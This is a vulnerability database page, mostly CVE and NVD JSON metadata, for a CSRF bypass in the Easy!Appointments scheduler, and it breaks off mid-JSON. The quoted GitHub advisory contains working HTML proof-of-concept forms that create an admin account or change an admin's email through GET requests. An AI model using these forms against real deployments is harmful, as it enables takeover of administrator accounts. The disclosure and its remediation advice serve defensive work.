Vulnerability-Lookup

CVE-2026-23622 (GCVE-0-2026-23622)

Vulnerability from cvelistv5 – Published: 2026-01-15 19:28 – Updated: 2026-01-15 21:34

Title

CSRF Protection Bypass: Sensitive endpoints accept GET requests, enabling admin account takeover

Summary

Easy!Appointments is a self hosted appointment scheduler. In 1.5.2 and earlier, application/core/EA_Security.php::csrf_verify() only enforces CSRF for POST requests and returns early for non-POST methods. Several application endpoints perform state-changing operations while accepting parameters from GET (or $_REQUEST), so an attacker can perform CSRF by forcing a victim's browser to issue a crafted GET request. Impact: creation of admin accounts, modification of admin email/password, and full admin account takeover.

Severity

7.4 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

SSVC

Exploitation: poc Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-01-15 21:34 UTC

CWE

CWE-352 - Cross-Site Request Forgery (CSRF)

Assigner

GitHub_M mitre root

References

1 reference

URL	Tags
https://github.com/alextselegidis/easyappointment…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version	CPE status
alextselegidis	easyappointments	Affected: <= 1.5.2	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-23622",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-01-15T21:34:33.677067Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-01-15T21:34:43.098Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-54v4-4685-vwrj"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "easyappointments",
          "vendor": "alextselegidis",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 1.5.2"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Easy!Appointments is a self hosted appointment scheduler. In 1.5.2 and earlier, application/core/EA_Security.php::csrf_verify() only enforces CSRF for POST requests and returns early for non-POST methods. Several application endpoints perform state-changing operations while accepting parameters from GET (or $_REQUEST), so an attacker can perform CSRF by forcing a victim\u0027s browser to issue a crafted GET request. Impact: creation of admin accounts, modification of admin email/password, and full admin account takeover."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 7.4,
            "baseSeverity": "HIGH",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "PASSIVE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-352",
              "description": "CWE-352: Cross-Site Request Forgery (CSRF)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-01-15T19:28:58.369Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-54v4-4685-vwrj",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-54v4-4685-vwrj"
        }
      ],
      "source": {
        "advisory": "GHSA-54v4-4685-vwrj",
        "discovery": "UNKNOWN"
      },
      "title": "CSRF Protection Bypass: Sensitive endpoints accept GET requests, enabling admin account takeover"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-23622",
    "datePublished": "2026-01-15T19:28:58.369Z",
    "dateReserved": "2026-01-14T16:08:37.482Z",
    "dateUpdated": "2026-01-15T21:34:43.098Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-23622",
      "date": "2026-09-22",
      "epss": "0.00234",
      "percentile": "0.14595"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "easyappointments",
                "vendor": "alextselegidis",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003c= 1.5.2"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "configurations": [
          {
            "nodes": [
              {
                "cpeMatch": [
                  {
                    "criteria": "cpe:2.3:a:easyappointments:easy\\!appointments:*:*:*:*:*:-:*:*",
                    "matchCriteriaId": "58620CF3-2F83-4032-B0F3-8D04ED54778F",
                    "versionEndIncluding": "1.5.2",
                    "vulnerable": true
                  }
                ],
                "negate": false,
                "operator": "OR"
              }
            ]
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "Easy!Appointments is a self hosted appointment scheduler. In 1.5.2 and earlier, application/core/EA_Security.php::csrf_verify() only enforces CSRF for POST requests and returns early for non-POST methods. Several application endpoints perform state-changing operations while accepting parameters from GET (or $_REQUEST), so an attacker can perform CSRF by forcing a victim\u0027s browser to issue a crafted GET request. Impact: creation of admin accounts, modification of admin email/password, and full admin account takeover."
          },
          {
            "lang": "es",
            "value": "Easy!Appointments es un programador de citas autoalojado. En 1.5.2 y versiones anteriores, application/core/EA_Security.php::csrf_verify() solo aplica CSRF para solicitudes POST y retorna anticipadamente para m\u00e9todos que no son POST. Varios puntos finales de la aplicaci\u00f3n realizan operaciones que cambian el estado mientras aceptan par\u00e1metros de GET (o $_REQUEST), por lo que un atacante puede realizar CSRF forzando al navegador de una v\u00edctima a emitir una solicitud GET manipulada. Impacto: creaci\u00f3n de cuentas de administrador, modificaci\u00f3n de correo electr\u00f3nico/contrase\u00f1a de administrador y toma de control total de la cuenta de administrador."
          }
        ],
        "id": "CVE-2026-23622",
        "lastModified": "2026-06-17T10:21:51.310",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 8.8,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "REQUIRED",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
                "version": "3.1"
              },
              "exploitabilityScore": 2.8,
              "impactScore": 5.9,
              "source": "nvd@nist.gov",
              "type": "Primary"
            }
          ],
          "cvssMetricV40": [
            {
              "cvssData": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "NONE",
                "attackVector": "NETWORK",
                "availabilityRequirement": "NOT_DEFINED",
                "baseScore": 7.4,
                "baseSeverity": "HIGH",
                "confidentialityRequirement": "NOT_DEFINED",
                "exploitMaturity": "PROOF_OF_CONCEPT",
                "integrityRequirement": "NOT_DEFINED",
                "modifiedAttackComplexity": "NOT_DEFINED",
                "modifiedAttackRequirements": "NOT_DEFINED",
                "modifiedAttackVector": "NOT_DEFINED",
                "modifiedPrivilegesRequired": "NOT_DEFINED",
                "modifiedSubAvailabilityImpact": "NOT_DEFINED",
                "modifiedSubConfidentialityImpact": "NOT_DEFINED",
                "modifiedSubIntegrityImpact": "NOT_DEFINED",
                "modifiedUserInteraction": "NOT_DEFINED",
                "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
                "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
                "modifiedVulnIntegrityImpact": "NOT_DEFINED",
                "privilegesRequired": "NONE",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "PASSIVE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
                "version": "4.0",
                "vulnAvailabilityImpact": "HIGH",
                "vulnConfidentialityImpact": "HIGH",
                "vulnIntegrityImpact": "HIGH",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-23622",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "yes"
                  },
                  {
                    "technicalImpact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-01-15T21:34:33.677067Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-01-15T20:16:05.773",
        "references": [
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Exploit",
              "Vendor Advisory"
            ],
            "url": "https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-54v4-4685-vwrj"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "tags": [
              "Exploit",
              "Vendor Advisory"
            ],
            "url": "https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-54v4-4685-vwrj"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Analyzed",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-352"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "redhat_vex": {
      "current_release_date": "2026-01-16T20:18:10+00:00",
      "cve": "CVE-2026-23622",
      "id": "CVE-2026-23622",
      "initial_release_date": "2026-01-01T00:00:00+00:00",
      "product_status:known_not_affected": "1",
      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "CSRF Protection Bypass: Sensitive endpoints accept GET requests, enabling admin account takeover",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-23622.json",
      "version": "3"
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-23622",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "yes"
                      },
                      {
                        "Technical Impact": "total"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-01-15T21:34:33.677067Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-01-15T21:34:14.796Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-54v4-4685-vwrj"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "easyappointments",
              "vendor": "alextselegidis",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c= 1.5.2"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "Easy!Appointments is a self hosted appointment scheduler. In 1.5.2 and earlier, application/core/EA_Security.php::csrf_verify() only enforces CSRF for POST requests and returns early for non-POST methods. Several application endpoints perform state-changing operations while accepting parameters from GET (or $_REQUEST), so an attacker can perform CSRF by forcing a victim\u0027s browser to issue a crafted GET request. Impact: creation of admin accounts, modification of admin email/password, and full admin account takeover."
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "attackComplexity": "LOW",
                "attackRequirements": "NONE",
                "attackVector": "NETWORK",
                "baseScore": 7.4,
                "baseSeverity": "HIGH",
                "privilegesRequired": "NONE",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "PASSIVE",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
                "version": "4.0",
                "vulnAvailabilityImpact": "HIGH",
                "vulnConfidentialityImpact": "HIGH",
                "vulnIntegrityImpact": "HIGH"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-352",
                  "description": "CWE-352: Cross-Site Request Forgery (CSRF)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-01-15T19:28:58.369Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-54v4-4685-vwrj",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-54v4-4685-vwrj"
            }
          ],
          "source": {
            "advisory": "GHSA-54v4-4685-vwrj",
            "discovery": "UNKNOWN"
          },
          "title": "CSRF Protection Bypass: Sensitive endpoints accept GET requests, enabling admin account takeover"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-23622",
        "datePublished": "2026-01-15T19:28:58.369Z",
        "dateReserved": "2026-01-14T16:08:37.482Z",
        "dateUpdated": "2026-01-15T21:34:43.098Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-23622

Vulnerability from fkie_nvd - Published: 2026-01-15 20:16 - Updated: 2026-06-17 10:21

Severity

8.8 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-54v4-4685-vwrj	Exploit, Vendor Advisory
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-54v4-4685-vwrj	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	easyappointments	easy\!appointments	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "easyappointments",
          "vendor": "alextselegidis",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 1.5.2"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:easyappointments:easy\\!appointments:*:*:*:*:*:-:*:*",
              "matchCriteriaId": "58620CF3-2F83-4032-B0F3-8D04ED54778F",
              "versionEndIncluding": "1.5.2",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Easy!Appointments is a self hosted appointment scheduler. In 1.5.2 and earlier, application/core/EA_Security.php::csrf_verify() only enforces CSRF for POST requests and returns early for non-POST methods. Several application endpoints perform state-changing operations while accepting parameters from GET (or $_REQUEST), so an attacker can perform CSRF by forcing a victim\u0027s browser to issue a crafted GET request. Impact: creation of admin accounts, modification of admin email/password, and full admin account takeover."
    },
    {
      "lang": "es",
      "value": "Easy!Appointments es un programador de citas autoalojado. En 1.5.2 y versiones anteriores, application/core/EA_Security.php::csrf_verify() solo aplica CSRF para solicitudes POST y retorna anticipadamente para m\u00e9todos que no son POST. Varios puntos finales de la aplicaci\u00f3n realizan operaciones que cambian el estado mientras aceptan par\u00e1metros de GET (o $_REQUEST), por lo que un atacante puede realizar CSRF forzando al navegador de una v\u00edctima a emitir una solicitud GET manipulada. Impacto: creaci\u00f3n de cuentas de administrador, modificaci\u00f3n de correo electr\u00f3nico/contrase\u00f1a de administrador y toma de control total de la cuenta de administrador."
    }
  ],
  "id": "CVE-2026-23622",
  "lastModified": "2026-06-17T10:21:51.310",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 7.4,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "PROOF_OF_CONCEPT",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "PASSIVE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "HIGH",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-23622",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-01-15T21:34:33.677067Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-01-15T20:16:05.773",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-54v4-4685-vwrj"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-54v4-4685-vwrj"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-352"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-54V4-4685-VWRJ

Vulnerability from github – Published: 2026-01-15 20:11 – Updated: 2026-01-15 22:34

Summary

alextselegidis/easyappointments is Vulnerable to CSRF Protection Bypass

Details

Summary

application/core/EA_Security.php::csrf_verify() only enforces CSRF for POST requests and returns early for non-POST methods. Several application endpoints perform state-changing operations while accepting parameters from GET (or $_REQUEST), so an attacker can perform CSRF by forcing a victim's browser to issue a crafted GET request. Impact: creation of admin accounts, modification of admin email/password, and full admin account takeover

Details

in https://github.com/alextselegidis/easyappointments/blob/41c9b93a5a2c185a914f204412324d8980943fd5/application/core/EA_Security.php#L52

Repository / tested commit: alextselegidis/easyappointments — commit 41c9b93a5a2c185a914f204412324d8980943fd5.
Vulnerable file & function: application/core/EA_Security.php::csrf_verify() — around line 52. Link: .../application/core/EA_Security.php#L52.
Root cause: The function early-returns when the request is not POST:

// vulnerable snippet
if (strtoupper($_SERVER['REQUEST_METHOD']) !== 'POST') {
    return $this->csrf_set_cookie();
}

Because of this, non-POST requests (GET/PUT/DELETE/etc.) never reach token validation. When application controllers accept state-changing parameters via GET or $_REQUEST, these requests bypass CSRF checks entirely and the application executes the state change.

Examples of vulnerable endpoints (observed during testing):
index.php/admins/store — create admin (accepts fields via GET)
index.php/admins/update — modify admin (accepts fields via GET)
index.php/account/save — modify account/password (accepts fields via GET)
Why this is critical: An attacker can host a simple page that issues requests (e.g., <form method="GET" action="..."> or an auto-submitting form). If an authenticated admin visits that page, the attacker can create an admin account, change admin email, or change password—enabling account takeover and full compromise of the application instance.

PoC

I will attach video proof showing how I add an admin via CSRF. Below are reproducible PoC artifacts and steps to reproduce locally

https://github.com/user-attachments/assets/3fea1034-c479-43d9-9c40-86f8ba0b33c1

Browser PoC (HTML) Save one of the HTML files (example csrf_add_admin_account.html) on an attacker server and visit it with a browser where the admin is logged into Easy!Appointments:

<html>
<body>
<form method="GET" action="http://localhost:80/easyappointments/index.php/admins/store">
  <input type="hidden" name="admin[first_name]" value="admin_add_by_csrf">
  <input type="hidden" name="admin[last_name]" value="poc">
  <input type="hidden" name="admin[email]" value="poc@gmail.com">
  <input type="hidden" name="admin[mobile_number]" value="">
  <input type="hidden" name="admin[phone_number]" value="0923092">
  <input type="hidden" name="admin[address]" value="">
  <input type="hidden" name="admin[city]" value="">
  <input type="hidden" name="admin[state]" value="">
  <input type="hidden" name="admin[zip_code]" value="">
  <input type="hidden" name="admin[notes]" value="">
  <input type="hidden" name="admin[language]" value="english">
  <input type="hidden" name="admin[timezone]" value="UTC">
  <input type="hidden" name="admin[settings][username]" value="admincsrf1">
  <input type="hidden" name="admin[settings][notifications]" value="1">
  <input type="hidden" name="admin[settings][calendar_view]" value="table">
  <input type="hidden" name="admin[settings][password]" value="changeme">
  <input type="submit" value="Submit request">
</form>
</body>
</html>

another example for another endpoint

csrf_change_admin_email.html

<html>
<body>
<form method="GET" action="http://localhost:80/easyappointments/index.php/admins/update">
  <input type="hidden" name="admin[first_name]" value="test">
  <input type="hidden" name="admin[last_name]" value="cve">
  <input type="hidden" name="admin[email]" value="test1@cve.com">
  <input type="hidden" name="admin[mobile_number]" value="">
  <input type="hidden" name="admin[phone_number]" value="0101900">
  <input type="hidden" name="admin[address]" value="">
  <input type="hidden" name="admin[city]" value="">
  <input type="hidden" name="admin[state]" value="">
  <input type="hidden" name="admin[zip_code]" value="">
  <input type="hidden" name="admin[notes]" value="">
  <input type="hidden" name="admin[language]" value="english">
  <input type="hidden" name="admin[timezone]" value="UTC">
  <input type="hidden" name="admin[settings][username]" value="testn">
  <input type="hidden" name="admin[settings][notifications]" value="1">
  <input type="hidden" name="admin[settings][calendar_view]" value="default">
  <input type="hidden" name="admin[id]" value="1">
  <input type="submit" value="Submit request">
</form>
</body>
</html>

Suggested remediation (recommended)

Provide two practical remediation paths mmediate and long-term:

Immediate (urgent, low-effort): Enforce CSRF checks for all methods and do not skip validation for non-POST. Minimal core fix:

This closes the common bypass route while keeping read-only GET behavior intact.

Stricter immediate option (no-bypass): Require a valid CSRF token for all methods (including GET) unless the URI is explicitly whitelisted in csrf_exclude_uris. This prevents GET-based bypass even if controllers remain unchanged but may require updates to legitimate GET consumers.

Long-term (recommended, correct fix):

Controller hardening: Update controllers so all state-changing actions accept only the proper HTTP method (POST/PUT/DELETE) .
Require re-authentication or confirmation for critical operations (email/password changes).
Set cookie flags: SameSite, Secure, and HttpOnly as appropriate.

Impact

Type: Cross-Site Request Forgery (CSRF) allowing account takeover / privilege escalation.
Who is impacted: Any deployment of Easy!Appointments using the vulnerable code where administrative or sensitive endpoints accept GET or use $_REQUEST (what i found is almost every endpoint work with GET and POST). Logged-in administrator users are at greatest risk.
Consequences: An attacker can create administrative accounts, change administrator emails/passwords (leading to password reset abuse), and fully compromise application instances and data.

Severity

7.4 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "alextselegidis/easyappointments"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-23622"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-15T20:11:23Z",
    "nvd_published_at": "2026-01-15T20:16:05Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n`application/core/EA_Security.php::csrf_verify()` only enforces CSRF for POST requests and returns early for non-POST methods. Several application endpoints perform state-changing operations while accepting parameters from GET (or $_REQUEST), so an attacker can perform CSRF by forcing a victim\u0027s browser to issue a crafted GET request. Impact: creation of admin accounts, modification of admin email/password, and full admin account takeover\n\n### Details\n\nin https://github.com/alextselegidis/easyappointments/blob/41c9b93a5a2c185a914f204412324d8980943fd5/application/core/EA_Security.php#L52\n\n* **Repository / tested commit:** `alextselegidis/easyappointments` \u2014 commit `41c9b93a5a2c185a914f204412324d8980943fd5`.\n* **Vulnerable file \u0026 function:** `application/core/EA_Security.php::csrf_verify()` \u2014 around line 52. Link: `.../application/core/EA_Security.php#L52`.\n* **Root cause:** The function early-returns when the request is not `POST`:\n\n```php\n// vulnerable snippet\nif (strtoupper($_SERVER[\u0027REQUEST_METHOD\u0027]) !== \u0027POST\u0027) {\n    return $this-\u003ecsrf_set_cookie();\n}\n```\n\nBecause of this, non-POST requests (GET/PUT/DELETE/etc.) never reach token validation. When application controllers accept state-changing parameters via `GET` or `$_REQUEST`, these requests bypass CSRF checks entirely and the application executes the state change.\n\n* **Examples of vulnerable endpoints (observed during testing):**\n\n  * `index.php/admins/store` \u2014 create admin (accepts fields via GET)\n  * `index.php/admins/update` \u2014 modify admin (accepts fields via GET)\n  * `index.php/account/save` \u2014 modify account/password (accepts fields via GET)\n\n* **Why this is critical:** An attacker can host a simple page that issues requests (e.g., `\u003cform method=\"GET\" action=\"...\"\u003e` or an auto-submitting form). If an authenticated admin visits that page, the attacker can create an admin account, change admin email, or change password\u2014enabling account takeover and full compromise of the application instance.\n\n\n### PoC\nI will attach video proof showing how I add an admin via CSRF. Below are reproducible PoC artifacts and steps to reproduce locally \n\nhttps://github.com/user-attachments/assets/3fea1034-c479-43d9-9c40-86f8ba0b33c1\n\n**Browser PoC (HTML)**\nSave one of the HTML files (example `csrf_add_admin_account.html`) on an attacker server and visit it with a browser where the admin is logged into Easy!Appointments:\n\n```html\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cform method=\"GET\" action=\"http://localhost:80/easyappointments/index.php/admins/store\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[first_name]\" value=\"admin_add_by_csrf\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[last_name]\" value=\"poc\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[email]\" value=\"poc@gmail.com\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[mobile_number]\" value=\"\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[phone_number]\" value=\"0923092\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[address]\" value=\"\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[city]\" value=\"\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[state]\" value=\"\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[zip_code]\" value=\"\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[notes]\" value=\"\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[language]\" value=\"english\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[timezone]\" value=\"UTC\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[settings][username]\" value=\"admincsrf1\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[settings][notifications]\" value=\"1\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[settings][calendar_view]\" value=\"table\"\u003e\n  \u003cinput type=\"hidden\" name=\"admin[settings][password]\" value=\"changeme\"\u003e\n  